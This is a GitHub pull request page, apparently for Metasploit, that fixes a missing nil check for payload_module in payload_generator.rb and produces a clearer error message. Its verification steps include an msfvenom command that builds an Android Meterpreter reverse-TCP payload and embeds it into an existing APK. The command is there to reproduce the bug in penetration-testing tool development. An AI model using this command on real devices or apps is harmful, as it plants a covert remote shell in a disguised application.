-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Update payload_generator.rb to properly check if payload_module is nil #13951
Conversation
After talking with @wvu-r7 about this further looks like my changes completely missed the mark on fixing the root issue. Will be updating this PR shortly with some fixes to actually try and address the root cause, which is that |
Ok applied proper fixes now. Also updated the PR description to describe the new error message that should be encountered. |
b4a6599
to
9baeca3
Compare
@smcintyre-r7 Rebased to remove erroneous commits not related to the issue as per our discussion. |
Output from the last test showing the meaningful error message:
I'll land this once the unit tests pass. |
Release NotesFixed a bug where |
This fixes #13156 by fixing up the code of
lib/msf/core/payload_generator.rb
so that if thepayload_module
global variable isnil
, an exception is raised. This prevents potentialnil
reference errors like the one mentioned in #13156.Verification
List the steps needed to make sure this thing works
Before patch:
./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1234 -e x86/shikata_ga_nai -i 2 R -x ./Terminus.apk -k | ./msfvenom -a java --platform android -e x86/jmp_call_additive -i 3 -o ./terminus3.apk
Error: undefined method 'datastore' for nil:NilClass
After patch:
./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1234 -e x86/shikata_ga_nai -i 2 R -x ./Terminus.apk -k | ./msfvenom -a java --platform android -e x86/jmp_call_additive -i 3 -o ./terminus3.apk
Error: A payload module was not selected